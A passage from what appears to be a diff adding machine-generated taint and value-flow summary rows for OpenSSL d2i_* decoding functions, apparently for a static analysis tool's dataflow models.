"Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_bio", "(BIO *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**1]", 